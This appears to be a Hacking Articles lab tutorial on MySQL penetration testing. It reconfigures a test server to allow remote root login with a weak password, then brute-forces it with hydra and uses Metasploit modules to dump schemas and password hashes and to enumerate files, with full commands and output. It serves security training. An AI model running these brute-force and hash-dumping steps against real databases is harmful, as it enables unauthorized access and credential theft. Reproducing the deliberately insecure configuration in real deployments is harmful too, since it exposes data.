iGNITE Technologies

MySQL penetration testing

WWW.HACKINGARTICLES.IN

Contents

MySQL is an open-source Relational Database Management System (RDBMS). It is widely used for managing and organizing data in a structured format, using tables to store the data. MySQL functions in a networked setup utilizing a client-server architecture. In this configuration, the MySQL server manages the database, while client applications connect to the server to execute tasks like querying and updating data. The interaction between the MySQL clients and the server is conducted over the TCP/IP protocol, with MySQL by default listening on port 3306.

Table of Contents

Lab setup

Target Machine: Ubuntu (192.168.31.205)

Attacker Machine: Kali Linux (192.168.31.141)

Installation

We are going to start with the MySQL server setup in the ubuntu machine. The command for installing the server is:

```
apt install mysql-server
```

```
root@ignite:~# apt install mysql-server
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and
  libflashrom1 libftdi1-2 libllvm13 linux-headers-5.15.
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
  libaio1 libcgi-fast-perl libcgi-pm-perl libevent-core
  mysql-common mysql-server-8.0 mysql-server-core-8.0
Suggested packages:
  libipc-sharedcache-perl mailx tinyca
The following NEW packages will be installed:
```

To check if the server is up and running, use the following command:

```
netstat -tlnp
```

```
root@ignite:~# netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
tcp        0      0 127.0.0.1:33060         0.0.0.0:*
tcp        0      0 127.0.0.1:631           0.0.0.0:*
tcp        0      0 127.0.0.1:3306          0.0.0.0:*
tcp        0      0 127.0.0.53:53           0.0.0.0:*
tcp6       0      0 ::1:631                 :::*
```

It can be seen from above that the server is up and running at port 3306.

Connecting to MySQL server

We are going to scan the IP using the **nmap** tool in kali linux to check if the service is showing as closed or open. To do so we will run the following command in kali linux:

```
nmap -p3306 -sV 192.168.31.205
```

```
┌──(root㉿kali)-[~]
└─# nmap -p3306 -sV 192.168.31.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06
Nmap scan report for ignite.lan (192.168.31.205)
Host is up (0.00089s latency).

PORT     STATE  SERVICE VERSION
3306/tcp closed mysql
MAC Address: 00:0C:29:10:98:21 (VMware)
```

It can be seen from above that the port **3306** at which the mysql service is running is **closed**. The reason for it is that the MySQL server is running internally on that machine and is using the **bind-address** set to **127.0.0.1** in the default settings.

In order to make the service open, we need to change the configuration. For that edit the **mysqld.cnf** file inside the ubuntu machine. To do so use the following command:

```
nano /etc/mysql/mysql.conf.d/mysqld.cnf
```

```
# If MySQL is running as a replication slave, this should be
# changed. Ref https://dev.mysql.com/doc/refman/8.0/en/server-syste
# tmpdir                = /tmp
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address            = 127.0.0.1
mysqlx-bind-address     = 127.0.0.1
#
# * Fine Tuning
#
key_buffer_size         = 16M
# max_allowed_packet    = 64M
# thread_stack          = 256K

# thread_cache_size       = -1
```

To make the service open, comment out (#) the **bind-address = 127.0.0.1** line.

```
# datadir       = /var/lib/mysql


# If MySQL is running as a replication slave, this should be
# changed. Ref https://dev.mysql.com/doc/refman/8.0/en/server-sys
# tmpdir                = /tmp
#
# Instead of skip-networking the default is now to listen only or
# localhost which is more compatible and is not less secure.
#bind-address           = 127.0.0.1
mysqlx-bind-address     = 127.0.0.1
#
# * Fine Tuning
#
key_buffer_size         = 16M
#max_allowed_packet     = 64M
# thread_stack          = 256K
```

Now again scan the IP using the **nmap** tool, it can be seen that the service is open now.

```
nmap -p3306 -sV 192.168.31.205
```

```
┌──(root㉿kali)-[~]
└─# nmap -p3306 -sV 192.168.31.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23
Nmap scan report for ignite.lan (192.168.31.205)
Host is up (0.00068s latency).

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:10:98:21 (VMware)
```

However, it can be noted that even the service state is showing as **open**, we will be unable to connect with service remotely. To enable the **root** user to connect from any host and perform any action on any database, the following SQL commands are used in the ubuntu machine:

```
mysql -uroot
CREATE USER 'root'@'%' IDENTIFIED BY '123';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';
FLUSH PRIVILEGES;
```

```
root@ignite:~# mysql -uroot
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 8.0.37-0ubuntu0.22.04.3 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> CREATE USER 'root'@'%' IDENTIFIED BY '123';
Query OK, 0 rows affected (0.03 sec)

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';
Query OK, 0 rows affected (0.01 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.01 sec)
```

The commands from the above can be interpreted as follows:

The first command is used to log into the MySQL server as the **root** user. The second command creates a new user named **root** who can connect from any host (%) and sets the password to **123**. The third command grants the newly created root user all privileges on all databases and tables. The last command reloads the privilege tables, ensuring that the changes take effect immediately.

Now we can check if we can login into the MySQL server remotely by running the following command in kali linux:

```
mysql -h 192.168.31.205 -uroot -p
```

```
┌──(root㉿kali)-[~]
└─# mysql -h 192.168.31.205 -uroot -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 8.0.37-0ubuntu0.22.04.3 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>
```

Since we are able to connect with the service remotely, now we will start the pentesting.

Brute forcing MySQL credentials

We can brute force the MySQL credentials by passing a list of usernames and passwords using the **hydra** tool inside kali linux. Here we are using the username list as **users.txt** and the password list as **pass.txt**. The command for brute force attack will be:

```
hydra -L users.txt -P pass.txt 192.168.31.205 mysql
```

```
┌──(root㉿kali)-[~]
└─# hydra -L users.txt -P pass.txt 192.168.31.205 mysql
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel
[DATA] max 4 tasks per 1 server, overall 4 tasks, 72 login tries (l:8/p
[DATA] attacking mysql://192.168.31.205:3306/
[3306][mysql] host: 192.168.31.205   login: root   password: 123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-
```

Exploitation using Metasploit

There are lot of exploits and auxiliaries related with the MySQL server. Here we are going to demonstrate few of them to give an insight on the MySQL pentesting.

First we will be using the **auxiliary/admin/mysql/mysql_sql** inside **Metasploit** to run the SQL queries directly after connecting with the database.

```
msfconsole -q
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.168.31.205
set username root
set password 123
set sql show databases
run
```

```
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > use auxiliary/admin/mysql/mysql_sql
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(admin/mysql/mysql_sql) > set rhosts 192.168.31.205
rhosts => 192.168.31.205
msf6 auxiliary(admin/mysql/mysql_sql) > set username root
username => root
msf6 auxiliary(admin/mysql/mysql_sql) > set password 123
password => 123
msf6 auxiliary(admin/mysql/mysql_sql) > set sql show databases
sql => show databases
msf6 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 192.168.31.205

[*] 192.168.31.205:3306 - Sending statement: 'show databases' ...
[*] 192.168.31.205:3306 - | information_schema |
[*] 192.168.31.205:3306 - | mysql |
[*] 192.168.31.205:3306 - | performance_schema |
[*] 192.168.31.205:3306 - | sys |
[*] Auxiliary module execution completed
msf6 auxiliary(admin/mysql/mysql_sql) >
```

There is another auxiliary which helps in dumping the entire data, i.e., **auxiliary/scanner/mysql/mysql_schemadump.** We just need to give the username and password to connect with the database and we can dump the entire schema.

```
use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.31.205
set username root
set password 123
run
```

```
msf6 > use auxiliary/scanner/mysql/mysql_schemadump
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set rhosts 192.168.31.205
rhosts => 192.168.31.205
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_schemadump) > set password 123
password => 123
msf6 auxiliary(scanner/mysql/mysql_schemadump) > run

[+] 192.168.31.205:3306 - Schema stored in: /root/.msf4/loot/20240623103509_de
[+] 192.168.31.205:3306 - MySQL Server Schema
 Host: 192.168.31.205
 Port: 3306
 ==================


---
- DBName: sys
  Tables:
  - TableName: host_summary
    Columns:
    - ColumnName: host
      ColumnType: varchar(255)
    - ColumnName: statements
      ColumnType: decimal(64,0)
    - ColumnName: statement_latency
      ColumnType: varchar(11)
    - ColumnName: statement_avg_latency
      ColumnType: varchar(11)
    - ColumnName: table_scans
      ColumnType: decimal(65,0)
    - ColumnName: file_ios
      ColumnType: decimal(64,0)
    - ColumnName: file_io_latency
      ColumnType: varchar(11)
    - ColumnName: current_connections
      ColumnType: decimal(41,0)
    - ColumnName: total_connections
      ColumnType: decimal(41,0)
    - ColumnName: unique_users
      ColumnType: bigint
    - ColumnName: current_memory
      ColumnType: varchar(11)
    - ColumnName: total_memory_allocated
      ColumnType: varchar(11)
  - TableName: host_summary_by_file_io
    Columns:
    - ColumnName: host
      ColumnType: varchar(255)
    - ColumnName: ios
      ColumnType: decimal(42,0)
```

To dump the usernames and password hashes, we can use the **auxiliary/scanner/mysql/mysql_hashdump**, it gives us the usernames and the password hashes as output.

```
use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.31.205
set username root
set password 123
run
```

```
msf6 > use auxiliary/scanner/mysql/mysql_hashdump
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set rhosts 192.168.31.205
rhosts => 192.168.31.205
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_hashdump) > set password 123
password => 123
msf6 auxiliary(scanner/mysql/mysql_hashdump) > run

[+] 192.168.31.205:3306 - Saving HashString as Loot: root:$A$005$C\=v3T{j{53o-=G O/JapfbrxCWaWih4D
[+] 192.168.31.205:3306 - Saving HashString as Loot: debian-sys-maint:$A$005$cj0#(p]CUL}EU*6I0OhC
[+] 192.168.31.205:3306 - Saving HashString as Loot: mysql.infoschema:$A$005$THISISACOMBINATIONOFI
[+] 192.168.31.205:3306 - Saving HashString as Loot: mysql.session:$A$005$THISISACOMBINATIONOFINVA
[+] 192.168.31.205:3306 - Saving HashString as Loot: mysql.sys:$A$005$THISISACOMBINATIONOFINVALIDS
[+] 192.168.31.205:3306 - Saving HashString as Loot: root:
[*] 192.168.31.205:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_hashdump) >
```

In order to check if there is file which is writeable at the server side, we can identify it using the **auxiliary/scanner/mysql/mysql_writable_dirs.** However, it is not possible by default. There is a setting which we need to change in the configuration file after which we can enumerate the writable directory.

To make this configuration, edit the **/etc/mysql/mysql.conf.d/mysqld.cnf** file and add the line **secure_file_priv= " "** at the end.

```
# log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs o
# note: if you are setting up a replication slave, see READ
#       other settings you may need to change.
# server-id              = 1
# log_bin                        = /var/log/mysql/mysql-bin.
# binlog_expire_logs_seconds     = 2592000
max_binlog_size   = 100M
# binlog_do_db           = include_database_name
# binlog_ignore_db       = include_database_name
secure_file_priv=""
```

Now check for the writable directories using Metasploit.

```
use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.31.205
set username root
set password 123
set dir_list dir.txt
run
```

```
msf6 > use auxiliary/scanner/mysql/mysql_writable_dirs
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/mysql/mysql_writable_dirs) > set rhosts 192.168.31.205
rhosts => 192.168.31.205
msf6 auxiliary(scanner/mysql/mysql_writable_dirs) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_writable_dirs) > set password 123
password => 123
msf6 auxiliary(scanner/mysql/mysql_writable_dirs) > set dir_list dir.txt
dir_list => dir.txt
msf6 auxiliary(scanner/mysql/mysql_writable_dirs) > run

[!] 192.168.31.205:3306 - For every writable directory found, a file called zhKAngrh with the text tes
[*] 192.168.31.205:3306 - Login ...
[*] 192.168.31.205:3306 - Checking bin ...
[!] 192.168.31.205:3306 - Can't create/write to file '/var/lib/mysql/bin/zhKAngrh' (OS errno 2 - No su
[*] 192.168.31.205:3306 - Checking /boot ...
[!] 192.168.31.205:3306 - Can't create/write to file '/boot/zhKAngrh' (OS errno 13 - Permission denied
[*] 192.168.31.205:3306 - Checking /cdrom ...
[!] 192.168.31.205:3306 - Can't create/write to file '/cdrom/zhKAngrh' (OS errno 13 - Permission denie
[*] 192.168.31.205:3306 - Checking /dev ...
[!] 192.168.31.205:3306 - Can't create/write to file '/dev/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /etc ...
[!] 192.168.31.205:3306 - Can't create/write to file '/etc/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /home ...
[!] 192.168.31.205:3306 - Can't create/write to file '/home/zhKAngrh' (OS errno 13 - Permission denied
[*] 192.168.31.205:3306 - Checking /lib ...
[!] 192.168.31.205:3306 - Can't create/write to file '/lib/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /lib32 ...
[!] 192.168.31.205:3306 - Can't create/write to file '/lib32/zhKAngrh' (OS errno 13 - Permission denie
[*] 192.168.31.205:3306 - Checking /lib64 ...
[!] 192.168.31.205:3306 - Can't create/write to file '/lib64/zhKAngrh' (OS errno 13 - Permission denie
[*] 192.168.31.205:3306 - Checking /media ...
[!] 192.168.31.205:3306 - Can't create/write to file '/media/zhKAngrh' (OS errno 13 - Permission denie
[*] 192.168.31.205:3306 - Checking /mnt ...
[!] 192.168.31.205:3306 - Can't create/write to file '/mnt/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /opt ...
[!] 192.168.31.205:3306 - Can't create/write to file '/opt/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /proc ...
[!] 192.168.31.205:3306 - Can't create/write to file '/proc/zhKAngrh' (OS errno 2 - No such file or di
[*] 192.168.31.205:3306 - Checking /root ...
[!] 192.168.31.205:3306 - Can't create/write to file '/root/zhKAngrh' (OS errno 13 - Permission denied
[*] 192.168.31.205:3306 - Checking /run ...
[!] 192.168.31.205:3306 - Can't create/write to file '/run/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /sbin ...
[!] 192.168.31.205:3306 - Can't create/write to file '/sbin/zhKAngrh' (OS errno 13 - Permission denied
[*] 192.168.31.205:3306 - Checking /srv ...
[!] 192.168.31.205:3306 - Can't create/write to file '/srv/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /sys ...
[!] 192.168.31.205:3306 - Can't create/write to file '/sys/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /tmp ...
[+] 192.168.31.205:3306 - /tmp is writeable
[*] 192.168.31.205:3306 - Checking /usr ...
[!] 192.168.31.205:3306 - Can't create/write to file '/usr/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Checking /var ...
[!] 192.168.31.205:3306 - Can't create/write to file '/var/zhKAngrh' (OS errno 13 - Permission denied)
[*] 192.168.31.205:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

It can be seen from above that the directory **/tmp** is writeable.

To enumerate the files and directories if they exist on the machine or not we can use the **auxiliary/scanner/mysql/mysql_file_enum**. It will give us the results if the directory or file exists or not.

```
msf6 > use auxiliary/scanner/mysql/mysql_file_enum
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/mysql/mysql_file_enum) > set rhosts 192.168.31.205
rhosts => 192.168.31.205
msf6 auxiliary(scanner/mysql/mysql_file_enum) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_file_enum) > set password 123
password => 123
msf6 auxiliary(scanner/mysql/mysql_file_enum) > set file_list dir.txt
file_list => dir.txt
msf6 auxiliary(scanner/mysql/mysql_file_enum) > run

[+] 192.168.31.205:3306 - /boot is a directory and exists
[+] 192.168.31.205:3306 - /cdrom is a directory and exists
[+] 192.168.31.205:3306 - /dev is a directory and exists
[+] 192.168.31.205:3306 - /etc is a directory and exists
[+] 192.168.31.205:3306 - /home is a directory and exists
[+] 192.168.31.205:3306 - /lib is a directory and exists
[+] 192.168.31.205:3306 - /lib32 is a directory and exists
[+] 192.168.31.205:3306 - /lib64 is a directory and exists
[+] 192.168.31.205:3306 - /media is a directory and exists
[+] 192.168.31.205:3306 - /mnt is a directory and exists
[+] 192.168.31.205:3306 - /opt is a directory and exists
[+] 192.168.31.205:3306 - /proc is a directory and exists
[+] 192.168.31.205:3306 - /root is a directory and exists
[+] 192.168.31.205:3306 - /run is a directory and exists
[+] 192.168.31.205:3306 - /sbin is a directory and exists
[+] 192.168.31.205:3306 - /srv is a directory and exists
[+] 192.168.31.205:3306 - /sys is a directory and exists
[+] 192.168.31.205:3306 - /tmp is a directory and exists
[+] 192.168.31.205:3306 - /usr is a directory and exists
[+] 192.168.31.205:3306 - /var is a directory and exists
[*] 192.168.31.205:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_file_enum) >
```

Finally, to enumerate the whole MySQL server we can use the **auxiliary/admin/mysql/mysql_enum**, which will perform the enumeration on the MySQL server after using the valid credentials.

```
use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.31.205
set username root
set password 123
run
```

```
msf6 > use auxiliary/admin/mysql/mysql_enum
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(admin/mysql/mysql_enum) > set rhosts 192.168.31.205
rhosts => 192.168.31.205
msf6 auxiliary(admin/mysql/mysql_enum) > set username root
username => root
msf6 auxiliary(admin/mysql/mysql_enum) > set password 123
password => 123
msf6 auxiliary(admin/mysql/mysql_enum) > run
[*] Running module against 192.168.31.205

[*] 192.168.31.205:3306 - Running MySQL Enumerator...
[*] 192.168.31.205:3306 - Enumerating Parameters
[*] 192.168.31.205:3306 -       MySQL Version: 8.0.37-0ubuntu0.22.04.3
[*] 192.168.31.205:3306 -       Compiled for the following OS: Linux
[*] 192.168.31.205:3306 -       Architecture: x86_64
[*] 192.168.31.205:3306 -       Server Hostname: ignite
[*] 192.168.31.205:3306 -       Data Directory: /var/lib/mysql/
[*] 192.168.31.205:3306 -       Logging of queries and logins: ON
[*] 192.168.31.205:3306 -       Log Files Location: ON
[*] 192.168.31.205:3306 -       Old Password Hashing Algorithm
[*] 192.168.31.205:3306 -       Loading of local files: OFF
[*] 192.168.31.205:3306 -       Deny logins with old Pre-4.1 Passwords:
[*] 192.168.31.205:3306 -       Allow Use of symlinks for Database Files: DISABLED
[*] 192.168.31.205:3306 -       Allow Table Merge:
[*] 192.168.31.205:3306 -       SSL Connections: Enabled
[*] 192.168.31.205:3306 -       SSL CA Certificate: ca.pem
[*] 192.168.31.205:3306 -       SSL Key: server-key.pem
[*] 192.168.31.205:3306 -       SSL Certificate: server-cert.pem
[*] 192.168.31.205:3306 - Enumerating Accounts:
[*] 192.168.31.205:3306 -       List of Accounts with Password Hashes:
[+] 192.168.31.205:3306 -               User: root Host: % Password Hash: $A$005$C\=v3T{j{53o-=G O
[+] 192.168.31.205:3306 -               User: debian-sys-maint Host: localhost Password Hash: $A$0
[+] 192.168.31.205:3306 -               User: mysql.infoschema Host: localhost Password Hash: $A$0
[+] 192.168.31.205:3306 -               User: mysql.session Host: localhost Password Hash: $A$005$
[+] 192.168.31.205:3306 -               User: mysql.sys Host: localhost Password Hash: $A$005$THIS
[+] 192.168.31.205:3306 -               User: root Host: localhost Password Hash:
[*] 192.168.31.205:3306 -       The following users have GRANT Privilege:
[*] 192.168.31.205:3306 -               User: debian-sys-maint Host: localhost
[*] 192.168.31.205:3306 -               User: root Host: localhost
[*] 192.168.31.205:3306 -       The following users have CREATE USER Privilege:
[*] 192.168.31.205:3306 -               User: root Host: %
[*] 192.168.31.205:3306 -               User: debian-sys-maint Host: localhost
[*] 192.168.31.205:3306 -               User: root Host: localhost
[*] 192.168.31.205:3306 -       The following users have RELOAD Privilege:
[*] 192.168.31.205:3306 -               User: root Host: %
[*] 192.168.31.205:3306 -               User: debian-sys-maint Host: localhost
[*] 192.168.31.205:3306 -               User: root Host: localhost
[*] 192.168.31.205:3306 -       The following users have SHUTDOWN Privilege:
[*] 192.168.31.205:3306 -               User: root Host: %
[*] 192.168.31.205:3306 -               User: debian-sys-maint Host: localhost
[*] 192.168.31.205:3306 -               User: mysql.session Host: localhost
[*] 192.168.31.205:3306 -               User: root Host: localhost
```

Configuring a custom port

To perform the port modification in MySQL, we need to edit the configuration file. The path for the file is **/etc/mysql/mysql.conf.d/mysqld.cnf**.

```
nano etc/mysql/mysql.conf.d/mysqld.cnf
```

```
#
user            = mysql
# pid-file      = /var/run/mysqld/mysqld.pid
# socket        = /var/run/mysqld/mysqld.sock
# port          = 3306
# datadir       = /var/lib/mysql


# If MySQL is running as a replication slave, this should be
# changed. Ref https://dev.mysql.com/doc/refman/8.0/en/server-system-v
# tmpdir                = /tmp
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
#bind-address           = 127.0.0.1
mysqlx-bind-address     = 127.0.0.1
#
# * Fine Tuning
#
```

As we can see that the default port is **3306** which is getting used and is commented out (#). We can modify the port number to **4403** and remove the comment (#) from the line.

```
[mysqld]
#
# * Basic Settings
#
user            = mysql
# pid-file      = /var/run/mysqld/mysqld.pid
# socket        = /var/run/mysqld/mysqld.sock
port            = 4403
# datadir       = /var/lib/mysql


# If MySQL is running as a replication slave, this shou
# changed. Ref https://dev.mysql.com/doc/refman/8.0/en/
# tmpdir                = /tmp
#
```

Now if we scan the IP using **nmap**, it can be seen that the service is up and running at port **4403**.

```
┌──(root㉿kali)-[~]
└─# nmap -p 4403 -sV  192.168.31.205
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23
Nmap scan report for ignite.lan (192.168.31.205)
Host is up (0.00057s latency).

PORT     STATE SERVICE VERSION
4403/tcp open  mysql   MySQL 8.0.37-0ubuntu0.22.04.3
MAC Address: 00:0C:29:10:98:21 (VMware)
```

Conclusion

MySQL server has been a popular choice for most of the application developers from many years, however it's misconfiguration can lead to the data leakage. It is recommended to use the proper configuration and implement a strong password policy for the service.

iGNITE Technologies

JOIN OUR TRAINING PROGRAMS

CLICK HERE

BEGINNER

- Ethical Hacking
- Network Pentest
- Bug Bounty
- Wireless Pentest
- Network Security Essentials

ADVANCED

- Burp Suite Pro
- Web Services-API
- Pro Infrastructure VAPT
- Computer Forensics
- Android Pentest
- Advanced Metasploit
- CTF

EXPERT

- Red Team Operation
  - APT's - MITRE Attack Tactics
  - Active Directory Attack
  - MSSQL Security Assessment
- Privilege Escalation
  - Windows
  - Linux